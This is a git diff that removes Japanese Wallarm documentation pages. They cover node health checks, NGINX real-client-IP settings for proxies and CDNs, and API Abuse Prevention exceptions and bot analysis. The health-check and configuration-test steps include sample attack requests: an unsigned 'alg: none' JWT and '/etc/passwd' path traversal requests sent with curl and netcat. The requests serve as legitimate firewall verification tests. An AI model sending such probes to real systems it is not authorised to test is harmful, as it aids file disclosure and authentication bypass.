+++ /dev/null @@ -1,224 +0,0 @@ -[ptrav-attack-docs]: ../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../images/admin-guides/test-attacks-quickstart.png - -# ノード導入後のWallarmヘルスチェック - -本書は、新しいフィルタリングノードを導入した後にWallarmが正しく動作していることを確認するためのチェックリストです。既存のノードの健全性確認にも本手順を使用できます。 - -!!! info "ヘルスチェック結果" - 記載の期待結果と実際の結果に差異がある場合、ノードの機能に問題がある兆候である可能性があります。そのような不一致には特に注意を払い、必要に応じて[Wallarmサポートチーム](https://support.wallarm.com/)にお問い合わせください。 - -## ノードがCloudに登録されている - -確認方法: - -1. Wallarm Console → **Configuration** → **Nodes**を開きます。 -1. アクティブなノードのみが表示されるようにフィルターを適用します。 -1. 一覧から対象ノードを見つけ、クリックして詳細を表示します。 - -## ノードが攻撃を記録している - -確認方法: - ---8<-- "../include/waf/installation/test-waf-operation-no-stats.md" - -## ノードがすべてのトラフィックを記録している - -完全な可視性を確保するため、Wallarmの[API Sessions](../api-sessions/overview.md)は悪意のあるリクエストと正当なリクエストのすべてを段階的なユーザーセッションの形式で表示します。 - -確認方法: - -1. ノードで保護されているリソースにリクエストを送信します: - - ``` - curl http:// - ``` - - またはbashスクリプトで複数のリクエストを送信します: - - ``` - for (( i=0 ; $i<10 ; i++ )) ; - do - curl http:// ; - done - ``` - - この例では10件のリクエストを送信します。 - -1. **Events** → **API Sessions**を開きます。 -1. 送信したリクエストと先ほど送信した攻撃が同一のセッション内にまとまっていることを確認します。 - -## ノードの統計サービスが動作している - -`/wallarm-status` URLにアクセスすると、フィルタリングノードの動作統計を取得できます。 - -!!! info "統計サービス" - 統計サービスの詳細と設定方法は[こちら](../admin-en/configure-statistics-service.md)をご覧ください。 - -確認方法: - -1. ノードがインストールされているマシン上で次のコマンドを実行します: - - ``` - curl http://127.0.0.8/wallarm-status - ``` - -1. 出力を確認します。次のように表示されるはずです: - - ```json - { - "requests": 11, - "streams": 0, - "messages": 0, - "attacks": 1, - "blocked": 0, - "blocked_by_acl": 0, - "blocked_by_antibot": 0, - "acl_allow_list": 0, - "abnormal": 11, - "tnt_errors": 0, - "api_errors": 0, - "requests_lost": 0, - "overlimits_time": 0, - "segfaults": 0, - "memfaults": 0, - "softmemfaults": 0, - "proton_errors": 0, - "time_detect": 0, - "db_id": 199, - "lom_id": 1726, - "custom_ruleset_id": 1726, - "custom_ruleset_ver": 56, - "db_apply_time": 1750365841, - "lom_apply_time": 1750365842, - "custom_ruleset_apply_time": 1750365842, - "proton_instances": { - "total": 2, - "success": 2, - "fallback": 0, - "failed": 0 - }, - "stalled_workers_count": 0, - "stalled_workers": [], - "ts_files": [ - { - "id": 1726, - "size": 11887, - "mod_time": 1750365842, - "fname": "/opt/wallarm/etc/wallarm/custom_ruleset" - } - ], - "db_files": [ - { - "id": 199, - "size": 355930, - "mod_time": 1750365841, - "fname": "/opt/wallarm/etc/wallarm/proton.db" - } - ], - "startid": 2594491974706159096, - "compatibility": 4, - "config_revision": 0, - "rate_limit": { - "shm_zone_size": 67108864, - "buckets_count": 2, - "entries": 0, - "delayed": 0, - "exceeded": 0, - "expired": 0, - "removed": 0, - "no_free_nodes": 0 - }, - "timestamp": 1750371146.209885, - "split": { - "clients": [ - { - "client_id": null, - "requests": 11, - "streams": 0, - "messages": 0, - "attacks": 1, - "blocked": 0, - "blocked_by_acl": 0, - "blocked_by_antibot": 0, - "overlimits_time": 0, - "time_detect": 0, - "applications": [ - { - "app_id": -1, - "requests": 11, - "streams": 0, - "messages": 0, - "attacks": 1, - "blocked": 0, - "blocked_by_acl": 0, - "blocked_by_antibot": 0, - "overlimits_time": 0, - "time_detect": 0 - } - ] - } - ] - } - } - ``` - - これは、フィルタリングノードの統計サービスが起動しており正常に動作していることを意味します。 - -## ノードのログが収集されている - -確認方法: - -1. ノードがインストールされているマシンで`/opt/wallarm/var/log/wallarm`に移動します。 -1. `wcli-out.log`の内容を確認します。ブルートフォース検出、Cloudへの攻撃エクスポート、Cloudとのノード同期状況など、ほとんどのWallarmサービスのログが記録されています。 - -その他のログおよびログ設定の詳細は[こちら](../admin-en/configure-logging.md)をご覧ください。 - -## ノードが脆弱性を記録している - -Wallarmはお使いのアプリケーションAPIの[脆弱性](../glossary-en.md#vulnerability)を検出します。 - -確認方法: - -1. ご利用のリソースに次のリクエストを送信します: - - ``` - curl -H 'jwt: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJjbGllbmRfaWQiOiIxIn0.' -H 'HOST: ' - ``` - - なお、そのホストに対してすでに[脆弱なJWT](../attacks-vulns-list.md#weak-jwt)の脆弱性が検出されている場合（ステータスが何であっても、クローズ済みでも同様です）、新たな脆弱性が登録されることを確認するには、異なる`TEST_HOST_NAME`を指定する必要があります。 - -1. Wallarm Console → **Events** → **Vulnerabilities**を開き、weak JWTの脆弱性が一覧に表示されたかを確認します。 - -## IPリストが機能している - -Wallarmでは、リクエスト送信元のIPアドレスをAllowlist、Denylist、Graylistに分類することでアプリケーションAPIへのアクセスを制御できます。IPリストの基本ロジックは[こちら](../user-guides/ip-lists/overview.md)をご覧ください。 - -確認方法: - -1. Wallarm Console → **Events** → **Attacks**を開き、[ノードが攻撃を記録している](#node-registers-attacks)の確認で作成した攻撃を見つけます。 -1. 攻撃の送信元IPをコピーします。 -1. Security Controls → **IP Lists** → **Allowlist**に移動し、コピーした送信元IPをこのリストに追加します。 -1. 新しいIPリストの状態がフィルタリングノードに反映されるまで待ちます（約2分）。 -1. 同じIPから同じ攻撃を再送します。**Attacks**には何も表示されないはずです。 -1. **Allowlist**からそのIPを削除します。 -1. そのIPを**Denylist**に追加します。 -1. [ノードがすべてのトラフィックを記録している](#node-registers-all-traffic)の手順と同様に正当なリクエストを送信します。これらのリクエストは正当であっても**Attacks**にブロックとして表示されるはずです。 - -## ルールが機能している - -Wallarmでは、[ルール](../user-guides/rules/rules.md)を使用して、システムが悪意のあるリクエストを検出する方法や検出時の動作を変更できます。ルールはWallarm ConsoleからCloud上で作成し、カスタムルールセットとして構成され、Cloudからフィルタリングノードに配信されて適用されます。 - -確認方法: - -1. 次のいずれかの方法で現在のカスタムルールセットのIDと日時を確認します: - - * Wallarm Console → **Configuration** → **Nodes**で対象ノードの詳細を開き、custom_rulesetのID番号とインストール時刻を確認します。 - * [ノードの統計](#node-statistics-service-works)で`custom_ruleset_id`と`custom_ruleset_apply_time`を確認します。 - * `wcli-out.log`の[ノードログ](#node-logs-are-collected)で、最新の"lom"を含む行を確認し、その行の"version"と"time"に注目します。 - -1. Security Controls → **Rules WAF**に移動します。 -1. **Add rule** → **Fine-tuning attack detection** → **Ignore certain attacks**を使用し、リクエストの`uri`部分で**Path traversal**を無視するように選択してルールを作成します。 -1. 手順1で確認した値が更新されたことを確認します（2～4分かかる場合があります）。 -1. [ノードが攻撃を記録している](#node-registers-attacks)の確認で実行した攻撃を再実行します。今回はこの攻撃は無視され、**Attacks**に表示されないはずです。 -1. そのルールを削除します。 \ No newline at end of file diff --git a/docs/latest-ja/admin-en/using-proxy-or-balancer-en.md b/docs/latest-ja/admin-en/using-proxy-or-balancer-en.md deleted file mode 100644 index 827dbcb006..0000000000 --- a/docs/latest-ja/admin-en/using-proxy-or-balancer-en.md +++ /dev/null @@ -1,259 +0,0 @@ -# HTTPプロキシまたはロードバランサー（NGINX）使用時の元のクライアントIPアドレスの特定 - -本手順では、HTTPプロキシまたはロードバランサー経由でサーバーに接続するクライアントの発信元IPアドレスを特定するために必要なNGINXの設定について説明します。これはセルフホスト型のNGINXベースノードに適用されます。 - -* セルフホストのWallarm nodeがオールインワンインストーラー、AWS / GCPイメージ、またはNGINXベースのDockerイメージからインストールされている場合は、現在の手順をご利用ください。 -* セルフホストのWallarm nodeがK8s Ingress controllerとしてデプロイされている場合は、[こちらの手順](configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md)をご利用ください。 - -## Wallarm nodeがリクエストのIPアドレスを特定する方法 - -Wallarm nodeは、NGINX変数`$remote_addr`からリクエスト送信元IPアドレスを読み取ります。リクエストがノードに送信される前にプロキシサーバーまたはロードバランサーを経由した場合、`$remote_addr`にはそのプロキシサーバーまたはロードバランサーのIPアドレスが保持されます。 - -![バランサーの使用](../images/admin-guides/using-proxy-or-balancer/using-balancer-en.png) - -Wallarm nodeが特定したリクエスト送信元IPアドレスは、Wallarm Consoleの[攻撃の詳細](../user-guides/events/check-attack.md#attack-analysis)に表示されます。 - -## リクエスト送信元としてプロキシサーバーまたはロードバランサーのIPアドレスを使用する場合の問題点 - -Wallarm nodeがプロキシサーバーまたはロードバランサーのIPアドレスをリクエスト送信元のIPアドレスと見なすと、以下のWallarmの機能が正しく動作しない場合があります: - -* [IPアドレスによるアプリケーションへのアクセス制御](../user-guides/ip-lists/overview.md)（例）: - - 元のクライアントIPアドレスをdenylistに登録しても、Wallarm nodeはロードバランサーのIPアドレスをリクエスト送信元のIPアドレスと見なすため、それらのIPから発生したリクエストをブロックしません。 -* [ブルートフォース攻撃対策](configuration-guides/protecting-against-bruteforce.md)（例）: - - ロードバランサーを経由するリクエストにブルートフォース攻撃の兆候がある場合、WallarmはこのロードバランサーのIPアドレスをdenylistに登録し、その結果、このロードバランサーを経由する以降のすべてのリクエストをブロックします。 -* [Threat Replay Testing](../about-wallarm/detecting-vulnerabilities.md#threat-replay-testing)モジュール（例）: - - WallarmはThreat Replay Testingモジュールが生成する[テスト攻撃の送信元IPアドレス](../admin-en/scanner-addresses.md)としてロードバランサーのIPアドレスを認識します。そのため、テスト攻撃はロードバランサーのIPアドレスから発生した攻撃としてWallarm Consoleに表示され、さらにWallarmによる追加検査の対象となり、アプリケーションに余分な負荷がかかります。 - -Wallarm nodeが[IPCソケット](https://en.wikipedia.org/wiki/Unix_domain_socket)経由で接続されている場合、`0.0.0.0`がリクエストの送信元として扱われます。 - -## 元のクライアントIPアドレスを特定するための設定 - -元のクライアントIPアドレスを特定するには、[NGINXモジュール**ngx_http_realip_module**](https://nginx.org/en/docs/http/ngx_http_realip_module.html)を使用できます。このモジュールは、Wallarm nodeがクライアントIPアドレスの取得に[使用する](#how-wallarm-node-identifies-an-ip-address-of-a-request)`$remote_addr`の値を再定義できるようにします。 - -NGINXモジュール**ngx_http_realip_module**は次のいずれかの方法で使用できます: - -* ロードバランサーやプロキシサーバーがリクエストに追加する特定のヘッダー（通常は[`X-Forwarded-For`](https://en.wikipedia.org/wiki/X-Forwarded-For)）から元のクライアントIPアドレスを読み取る。 -* ロードバランサーやプロキシサーバーが[PROXYプロトコル](https://www.haproxy.org/download/1.8/doc/proxy-protocol.txt)に対応している場合、`PROXY`ヘッダーから元のクライアントIPアドレスを読み取る。 - -### `X-Forwarded-For`（`X-Real-IP`など）ヘッダーを読み取るようにNGINXを設定する - -ロードバランサーまたはプロキシサーバーが元のクライアントIPアドレスを含む`X-Forwarded-For`（`X-Real-IP`など）ヘッダーを付加する場合、以下のとおりNGINXモジュール**ngx_http_realip_module**がこのヘッダーを読み取るように設定します: - -1. Wallarm nodeとともにインストールされたNGINXの以下の設定ファイルを開きます: - - * Wallarm nodeがオールインワンインストーラーまたはAWS / GCPイメージからインストールされている場合は、`/etc/nginx/sites-enabled/default`。 - * Wallarm nodeがNGINXベースのDockerイメージからデプロイされている場合は、NGINXの設定ファイルをローカルで作成・編集し、Dockerコンテナのパス`/etc/nginx/http.d/default.conf`にマウントします。初期のNGINX設定ファイルのコピーおよびファイルをコンテナにマウントする手順は、[WallarmのNGINXベースDockerの手順](installation-docker-en.md#run-the-container-mounting-the-configuration-file)をご参照ください。 -2. NGINXの`location`コンテキストまたはそれより上位で、プロキシサーバーまたはロードバランサーのIPアドレスを指定した`set_real_ip_from`ディレクティブを追加します。プロキシサーバーやロードバランサーに複数のIPアドレスがある場合は、その数だけ個別のディレクティブを追加します。例: - - ```bash - ... - location / { - wallarm_mode block; - - set_real_ip_from 1.2.3.4; - set_real_ip_from 192.0.2.0/24; - } - ... - ``` -2. 使用中のロードバランサーのドキュメントで、元のクライアントIPアドレスを渡すためにそのロードバランサーが付加するヘッダー名を確認します。最も一般的なヘッダー名は`X-Forwarded-For`です。 -3. NGINXの`location`コンテキストまたはそれより上位で、前の手順で確認したヘッダー名を指定して`real_ip_header`ディレクティブを追加します。例: - - ```bash - ... - location / { - wallarm_mode block; - - set_real_ip_from 1.2.3.4; - set_real_ip_from 192.0.2.0/24; - real_ip_header X-Forwarded-For; - } - ... - ``` -4. NGINXを再起動します: - - --8<-- "../include/waf/restart-nginx-4.4-and-above.md" - - NGINXは`real_ip_header`ディレクティブで指定したヘッダーの値を変数`$remote_addr`に割り当てるため、Wallarm nodeはこの変数から元のクライアントIPアドレスを読み取ります。 -5. [設定をテストします](#testing-the-configuration)。 - -### `PROXY`ヘッダーを読み取るようにNGINXを設定する - -ロードバランサーまたはプロキシサーバーが[PROXYプロトコル](https://www.haproxy.org/download/1.8/doc/proxy-protocol.txt)に対応している場合、以下のとおりNGINXモジュール**ngx_http_realip_module**が`PROXY`ヘッダーを読み取るように設定できます: - -1. Wallarm nodeとともにインストールされたNGINXの以下の設定ファイルを開きます: - - * Wallarm nodeがオールインワンインストーラーまたはAWS / GCPイメージからインストールされている場合は、`/etc/nginx/sites-enabled/default`。 - * Wallarm nodeがNGINXベースのDockerイメージからデプロイされている場合は、NGINXの設定ファイルをローカルで作成・編集し、Dockerコンテナのパス`/etc/nginx/http.d/default.conf`にマウントします。初期のNGINX設定ファイルのコピーおよびファイルをコンテナにマウントする手順は、[WallarmのNGINXベースDockerの手順](installation-docker-en.md#run-the-container-mounting-the-configuration-file)をご参照ください。 -2. NGINXの`server`コンテキストで、`listen`ディレクティブにパラメーター`proxy_protocol`を追加します。 -3. NGINXの`location`コンテキストまたはそれより上位で、プロキシサーバーまたはロードバランサーのIPアドレスを指定した`set_real_ip_from`ディレクティブを追加します。プロキシサーバーやロードバランサーに複数のIPアドレスがある場合は、その数だけ個別のディレクティブを追加します。 -4. NGINXの`location`コンテキストまたはそれより上位で、値に`proxy_protocol`を指定して`real_ip_header`ディレクティブを追加します。 - - すべてのディレクティブを追加したNGINX設定ファイルの例: - - ```bash - server { - listen 80 proxy_protocol; - server_name localhost; - - set_real_ip_from ; - real_ip_header proxy_protocol; - - ... - } - ``` - - * NGINXはポート80で受信接続を待ち受けます。 - * 受信リクエストに`PROXY`ヘッダーが含まれていない場合、このリクエストは無効と見なされるため、NGINXは受け付けません。 - * ``からのリクエストについて、NGINXは`PROXY`ヘッダーで渡された送信元アドレスを変数`$remote_addr`に割り当てるため、Wallarm nodeはこの変数から元のクライアントIPアドレスを読み取ります。 -5. NGINXを再起動します: - - --8<-- "../include/waf/restart-nginx-4.4-and-above.md" -6. [設定をテストします](#testing-the-configuration)。 - -元のクライアントIPアドレスをログに含めるには、[NGINXのログ設定手順](https://docs.nginx.com/nginx/admin-guide/load-balancer/using-proxy-protocol/#logging-the-original-ip-address)に従い、NGINX設定で`proxy_set_header`ディレクティブを追加し、`log_format`ディレクティブの変数一覧を編集します。 - -`PROXY`ヘッダーに基づいて元のクライアントIPアドレスを特定する詳細は、[NGINXのドキュメント](https://docs.nginx.com/nginx/admin-guide/load-balancer/using-proxy-protocol/#changing-the-load-balancers-ip-address-to-the-client-ip-address)をご参照ください。 - -### 設定のテスト - -1. 保護対象アプリケーションのアドレスにテスト攻撃を送信します: - - === "cURLを使用" - ```bash - curl http://localhost/etc/passwd - ``` - === "printfとNetcatを使用（ヘッダー`PROXY`用）" - ```bash - printf "PROXY TCP4 0 80\r\nGET /etc/passwd\r\n\r\n" | nc localhost 80 - ``` -2. Wallarm Consoleを開き、攻撃の詳細に元のクライアントIPアドレスが表示されていることを確認します: - - ![リクエストの発信元IPアドレス](../images/request-ip-address.png) - - NGINXが`X-Forwarded-For`（`X-Real-IP`など）ヘッダーから元のアドレスを読み取った場合は、そのヘッダー値も生の攻撃データに表示されます。 - - ![ヘッダーX-Forwarded-For](../images/x-forwarded-for-header.png) - -## 設定例 - -以下に、一般的なロードバランサー経由でサーバーに接続するクライアントの発信元IPアドレスを特定するために必要なNGINX設定の例を示します。 - -### Cloudflare CDN - -Cloudflare CDNを使用している場合は、[NGINXモジュール**ngx_http_realip_module**を設定](#configuring-nginx-to-read-the-header-x-forwarded-for-x-real-ip-or-a-similar)して元のクライアントIPアドレスを特定できます。 - -```bash -... -set_real_ip_from 103.21.244.0/22; -set_real_ip_from 103.22.200.0/22; -set_real_ip_from 103.31.4.0/22; -set_real_ip_from 104.16.0.0/12; -set_real_ip_from 108.162.192.0/18; -set_real_ip_from 131.0.72.0/22; -set_real_ip_from 141.101.64.0/18; -set_real_ip_from 162.158.0.0/15; -set_real_ip_from 172.64.0.0/13; -set_real_ip_from 173.245.48.0/20; -set_real_ip_from 188.114.96.0/20; -set_real_ip_from 190.93.240.0/20; -set_real_ip_from 197.234.240.0/22; -set_real_ip_from 198.41.128.0/17; -set_real_ip_from 2400:cb00::/32; -set_real_ip_from 2606:4700::/32; -set_real_ip_from 2803:f800::/32; -set_real_ip_from 2405:b500::/32; -set_real_ip_from 2405:8100::/32; -set_real_ip_from 2c0f:f248::/32; -set_real_ip_from 2a06:98c0::/29; - -real_ip_header CF-Connecting-IP; -#real_ip_header X-Forwarded-For; -real_ip_recursive on; -... -``` - -* 設定を保存する前に、上記の設定に記載したCloudflareのIPアドレスが[Cloudflareのドキュメント](https://www.cloudflare.com/ips/)に記載のものと一致していることを確認してください。 -* `real_ip_header`ディレクティブの値には、`CF-Connecting-IP`または`X-Forwarded-For`のいずれかを指定できます。Cloudflare CDNは両方のヘッダーを付加するため、どちらを読み取るようにNGINXを設定しても構いません。[詳細はCloudflare CDNのドキュメントをご参照ください](https://support.cloudflare.com/hc/en-us/articles/200170786-Restoring-original-visitor-IPs) - -### Fastly CDN - -Fastly CDNを使用している場合は、[NGINXモジュール**ngx_http_realip_module**を設定](#configuring-nginx-to-read-the-header-x-forwarded-for-x-real-ip-or-a-similar)して元のクライアントIPアドレスを特定できます。 - -```bash -... -set_real_ip_from 23.235.32.0/20; -set_real_ip_from 43.249.72.0/22; -set_real_ip_from 103.244.50.0/24; -set_real_ip_from 103.245.222.0/23; -set_real_ip_from 103.245.224.0/24; -set_real_ip_from 104.156.80.0/20; -set_real_ip_from 146.75.0.0/16; -set_real_ip_from 151.101.0.0/16; -set_real_ip_from 157.52.64.0/18; -set_real_ip_from 167.82.0.0/17; -set_real_ip_from 167.82.128.0/20; -set_real_ip_from 167.82.160.0/20; -set_real_ip_from 167.82.224.0/20; -set_real_ip_from 172.111.64.0/18; -set_real_ip_from 185.31.16.0/22; -set_real_ip_from 199.27.72.0/21; -set_real_ip_from 199.232.0.0/16; -set_real_ip_from 2a04:4e40::/32; -set_real_ip_from 2a04:4e42::/32; - -real_ip_header X-Forwarded-For; -real_ip_recursive on; -... -``` - -設定を保存する前に、上記の設定に記載したFastlyのIPアドレスが[Fastlyのドキュメント](https://api.fastly.com/public-ip-list)に記載のものと一致していることを確認してください。 - -### HAProxy - -HAProxyを使用する場合、元のクライアントIPアドレスを特定できるよう、HAProxy側とWallarm node側の双方で適切に設定する必要があります: - -* `/etc/haproxy/haproxy.cfg`設定ファイルの、HAProxyからWallarm nodeへの接続を担当する`backend`ディレクティブブロックに、`option forwardfor header X-Client-IP`行を挿入します。 - - `option forwardfor`ディレクティブは、クライアントのIPアドレスを含むヘッダーをリクエストに追加するようHAProxyバランサーに指示します。[詳細はHAProxyのドキュメントをご参照ください](https://cbonte.github.io/haproxy-dconv/1.9/configuration.html#option%20forwardfor) - - 設定例: - - ``` - ... - # リクエストを受け付けるためのパブリックIPアドレス - frontend my_frontend - bind - mode http - default_backend my_backend - - # Wallarm nodeのバックエンド - backend my_backend - mode http - option forwardfor header X-Client-IP - server wallarm-node - ... - ``` - - * ``は、クライアントのリクエストを受け付けるHAProxyサーバーのIPアドレスです。 - * ``は、HAProxyサーバーからのリクエストを受け付けるWallarm nodeのIPアドレスです。 - -* Wallarm nodeとともにインストールされたNGINXの設定ファイルで、[モジュール**ngx_http_realip_module**](#configuring-nginx-to-read-the-header-x-forwarded-for-x-real-ip-or-a-similar)を次のように設定します: - - ```bash - ... - location / { - wallarm_mode block; - - proxy_pass http://; - set_real_ip_from ; - set_real_ip_from ; - real_ip_header X-Client-IP; - } - ... - ``` - - * ``は、Wallarm nodeからのリクエストに対する保護対象アプリケーションのIPアドレスです。 - * ``および``は、Wallarm nodeにリクエストを転送するHAProxyバランサーのIPアドレスです。 \ No newline at end of file diff --git a/docs/latest-ja/admin-en/wstore-metrics.md b/docs/latest-ja/admin-en/wstore-metrics.md deleted file mode 100644 index d699ae7a86..0000000000 --- a/docs/latest-ja/admin-en/wstore-metrics.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/admin-en/wstore-metrics.md" diff --git a/docs/latest-ja/agentic-ai/agentic-ai-protection.md b/docs/latest-ja/agentic-ai/agentic-ai-protection.md deleted file mode 100644 index cf6883c867..0000000000 --- a/docs/latest-ja/agentic-ai/agentic-ai-protection.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/agentic-ai/agentic-ai-protection.md" \ No newline at end of file diff --git a/docs/latest-ja/agentic-ai/ai-payload-inspection.md b/docs/latest-ja/agentic-ai/ai-payload-inspection.md deleted file mode 100644 index bb45ee8a34..0000000000 --- a/docs/latest-ja/agentic-ai/ai-payload-inspection.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/agentic-ai/ai-payload-inspection.md" \ No newline at end of file diff --git a/docs/latest-ja/api-abuse-prevention/exceptions.md b/docs/latest-ja/api-abuse-prevention/exceptions.md deleted file mode 100644 index d2c067fb80..0000000000 --- a/docs/latest-ja/api-abuse-prevention/exceptions.md +++ /dev/null @@ -1,79 +0,0 @@ -[api-discovery-enable-link]: ../api-discovery/setup.md#enable - -# API Abuse Preventionの例外 - -本記事では、正当なボットを識別してマークし、特定の対象URLやリクエストタイプに対するボット保護を無効化することで、[API Abuse Prevention](../api-abuse-prevention/overview.md)を細かく調整する方法を説明します。 - -これらの機能は、API Abuse Preventionの[profilesによる設定](setup.md#creating-profiles)を拡張します。 - -## 正当な自動化向けの例外 - -正当なボットやクローラーに関連付けられたIPをマークしてAPI Abuse Preventionによるブロックを避けるには、**Exception list**を使用します。 - -exception listにIPアドレスまたは範囲を追加し、対象アプリケーションを指定します。これにより、これらのアドレスから対象アプリケーションへのあらゆるリクエストは悪意のあるボットとしてマークされず、API Abuse Preventionによって[deny-](../user-guides/ip-lists/overview.md)または[graylist](../user-guides/ip-lists/overview.md)に追加されません。 - -exception listにIPアドレスを追加する方法は2つあります。 - -* **API Abuse Prevention**セクションの**Exception list**タブで**Add exception**を使用します。ここでは、IPやサブネットに加えて、API Abuse Preventionが無視すべきロケーションやソースタイプも追加できます。 - - ![API Abuse Prevention - exception list内から項目を追加](../images/about-wallarm-waf/abi-abuse-prevention/exception-list-add-from-inside.png) - -* **Attacks**セクションから：`api_abuse`、`account_takeover`、`scraping`、`security_crawlers`の検索キーを使用するか、**Type**フィルターで該当するオプションを選択し、目的のイベントを展開して**Add to exception list**をクリックします。 - - ![API Abuse Prevention - イベントからexception listに追加](../images/about-wallarm-waf/abi-abuse-prevention/exception-list-add-from-event.png) - -IPアドレスをexception listに追加すると、そのアドレスがAPI Abuse Prevention自身によって追加されている場合（理由が`Bot`の場合）に限り、[deny-](../user-guides/ip-lists/overview.md)または[graylist](../user-guides/ip-lists/overview.md)から自動的に削除されます。 - -!!! info "IPからの他の攻撃タイプのブロック" - exception list内のIPが総当たりや入力バリデーション攻撃などの他の[攻撃タイプ](../attacks-vulns-list.md)を発生させた場合、Wallarmはそのようなリクエストをブロックします。 - -デフォルトでは、IPはexception listに無期限で追加されます。これを変更して、そのアドレスをexception listから削除する時点を設定できます。また、いつでも直ちにアドレスをexception listから削除できます。 - -**Exception list**タブでは履歴データを提供します。過去の選択した期間にリストに存在していた項目を表示できます。 - -## 対象URLおよび特定リクエスト向けの例外 - -[exception list](#exceptions-for-legitimate-automation)で良性ボットのIPをマークすることに加えて、リクエストの宛先となるURLや、特定のヘッダーを含むリクエストなど特定のリクエストタイプについて、ボット保護を無効化できます。 - -これを行うために、Wallarmは**Set API Abuse Prevention mode**ルールを提供します（ノードバージョン4.8以降でサポートされます）。 - -**ルールの作成と適用** - -特定のURLまたはリクエストタイプに対するボット保護を無効化するには、次のとおりです。 - ---8<-- "../include/rule-creation-initial-step.md" - -1. **Fine-tuning attack detection** → **Override API abuse profiles**を選択します。 -1. **If request is**で、このルールを適用するリクエストやURLを[記述します](../user-guides/rules/rules.md#uri-constructor)。特定のbranch、hit、またはendpointからルール作成を開始した場合は、それらがスコープを定義します。必要に応じて条件を追加できます。 -1. 希望するモードを選択します。 - - * **Default** - 記述したスコープ（特定のURLまたはリクエスト）については、API Abuse Preventionの一般的な[profiles](setup.md#creating-profiles)で定義された通常の方法でボットからの保護が機能します。 - * **Do not check for bot activity** - 記述したURLやリクエストタイプについて、ボット活動のチェックを実行しません。 - -1. 必要に応じて、コメントにこのURL/リクエストタイプ向けにルールを作成する理由を記載します。 - -ルールを削除せずに、そのURLやリクエストタイプの例外を一時的に無効化できます。その場合は**Default**モードを選択します。後からいつでも**Do not check for bot activity**に戻すことができます。 - -**ルール例** - -**リクエストヘッダーによる正当なボットの識別** - -あなたのアプリケーションが、複数のIPからリクエストを送信するマーケティングオートメーションツールKlaviyoと連携しているとします。そこで、特定のURIに対する`Klaviyo/1.0`ユーザーエージェントからのGETリクエストについては、自動化（ボット）活動のチェックを行わないように設定します。 - -![特定のヘッダーを持つリクエストについてボット活動をチェックしない](../images/user-guides/rules/api-abuse-url-request.png) - -**テスト用エンドポイントでのボット保護の無効化** - -アプリケーションに属するエンドポイントがあるとします。アプリケーションはボット活動から保護すべきですが、そのテスト用エンドポイントは例外にしたいとします。さらに、APIインベントリは[**API Discovery**](../api-discovery/overview.md)モジュールで発見済みです。 - -この場合は、**API Discovery**のエンドポイント一覧からルールを作成する方が簡単です。そこに移動し、対象のエンドポイントを見つけて、そのページからルール作成を開始します。 - -![API Discoveryのエンドポイントに対するSet API Abuse Prevention modeの作成](../images/user-guides/rules/api-abuse-url.png) - -## profilesの無効化と削除 - -無効化されたprofilesは、トラフィック解析中に**API Abuse Prevention**モジュールが使用しないものの、profiles一覧には表示されます。無効化されたprofilesはいつでも再有効化できます。有効なprofilesが1つもない場合、このモジュールは悪意のあるボットをブロックしません。 - -削除されたprofilesは復元できず、**API Abuse Prevention**モジュールはトラフィック解析中に使用しません。 - -profileメニューに**Disable**と**Delete**オプションがあります。 \ No newline at end of file diff --git a/docs/latest-ja/api-abuse-prevention/exploring-bots.md b/docs/latest-ja/api-abuse-prevention/exploring-bots.md deleted file mode 100644 index 9086aac7b5..0000000000 --- a/docs/latest-ja/api-abuse-prevention/exploring-bots.md +++ /dev/null @@ -1,66 +0,0 @@ -[link-attacks]: ../user-guides/events/check-attack.md -[link-sessions]: ../api-sessions/overview.md -[link-api-abuse-prevention]: ../api-abuse-prevention/overview.md -[img-api-sessions-api-abuse]: ../images/api-sessions/api-sessions-api-abuse.png - -# ボット活動の調査 - -[API Abuse Prevention](../api-abuse-prevention/overview.md)は機械学習(ML)アルゴリズムに基づいて悪意のあるボット活動を特定します。この種の攻撃は、単一のブロックされたリクエストだけでは分析できません。そのため、Wallarmプラットフォームが多角的にボット活動を調査できる幅広いツールを提供していることが重要です。 - -## APIの悪用ダッシュボード - -API Abuse Preventionは、過去30日間のボットアクティビティに関するデータを**API Abuse Prevention**セクション→**Statistics**タブで見やすく可視化します。タイムラインのダイアグラムを使用すると、ボット活動のスパイクを簡単に特定できます。さらに、**Top Attackers**と**Top Targets**ウィジェットにより、最も活発なボットや最も攻撃を受けているAPIやアプリケーションを把握できます。ダッシュボード要素を1回クリックするだけで、**Attacks**タブにドリルダウンしてこれらのボット活動を調査できます。 - -画面下部の**Behavioral patterns**でもボットの行動を分析できます。各ディテクターの詳細およびボット行動の判定におけるそれらの組み合わせ方を確認できます。このウィジェットと右上の[denylistedまたはgraylisted](setup.md#creating-profiles)のIPのカウンターは、**IP Lists**の[履歴](../user-guides/ip-lists/overview.md#ip-list-history)へリンクしており、ボットのIPがいつ、どの期間ブロッキングリストに入れられたかを確認できます。 - -![API Abuse Preventionの統計](../images/about-wallarm-waf/abi-abuse-prevention/api-abuse-prevention-statistics.png) - -ボット活動が検出されなかった場合は、**Legitimate traffic**状態が表示されます: - -![API Abuse Preventionの統計 - ボット未検出](../images/about-wallarm-waf/abi-abuse-prevention/api-abuse-prevention-statistics-nobots.png) - -なお、ボット検出はトラフィックに依存します。十分な量のトラフィックがない場合、API Abuse Preventionは**Insufficient data to build statistics**というメッセージで通知します。**Profiles**タブでプロファイルごとのトラフィックを[確認](setup.md#per-profile-traffic)できます。 - -## 攻撃 - -Wallarm Console→**Attacks**セクションで、ボットによって実行された攻撃を調査できます。`api_abuse`、`account_takeover`、`scraping`、`security_crawlers`の検索キーを使用するか、**Type**フィルターから該当するオプションを選択します。 - -![API Abuseのイベント](../images/about-wallarm-waf/abi-abuse-prevention/api-abuse-events.png) - -なお、API Abuse PreventionによってボットのIPがdenylistに入れられている場合でも、デフォルトでWallarmはそのIPからのブロックされたリクエストに関する統計を収集して[表示](../user-guides/ip-lists/overview.md#requests-from-denylisted-ips)します。 - -**ディテクターの値** - -発火した[ディテクター](overview.md#how-api-abuse-prevention-works)の一覧と、それぞれの異常が通常の振る舞いからどの程度乖離しているかを示す値にご注意ください。たとえば上の図では、通常は`< 10`であるところ`326`となっている**Query abuse**、通常は`> 1`であるところ`0.05`となっている**Request interval**などがあります。 - 